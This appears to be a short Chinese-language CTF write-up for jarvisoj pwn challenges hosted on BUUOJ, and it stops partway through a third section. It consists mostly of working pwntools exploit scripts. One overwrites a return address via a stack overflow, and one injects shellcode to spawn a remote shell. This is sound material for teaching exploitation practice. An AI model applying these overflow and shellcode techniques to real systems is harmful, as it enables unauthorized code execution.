0x01 jarvisoj_level0
简单的地址改写
from pwn import *
p = remote('node3.buuoj.cn', 26882)
#p = process('./level0')
shell_addr = 0x0000000000400596
p.sendline('a'*0x88+p64(shell_addr))
p.interactive()
0x01 jarvisoj_level2
下面的代码本地可行,但远程由于数据接收顺序有问题,可以用jarvisoj_level3的payload稍作修改使用。
from pwn import *
context.log_level = 'debug'
p = remote('node3.buuoj.cn', 29661)
#p = process('level1')
p.recvuntil('this:')
buf_addr = int(p.recv(10), 16)
print hex(buf_addr)
payload = asm(shellcraft.sh())
payload = payload.ljust(0x8C, '\x00')
payload += p32(buf_addr)
p.sendline(payload)
p.interactive()
0x02 jarvisoj_level2
简单rop,在可执行文件中找到rop
from pwn import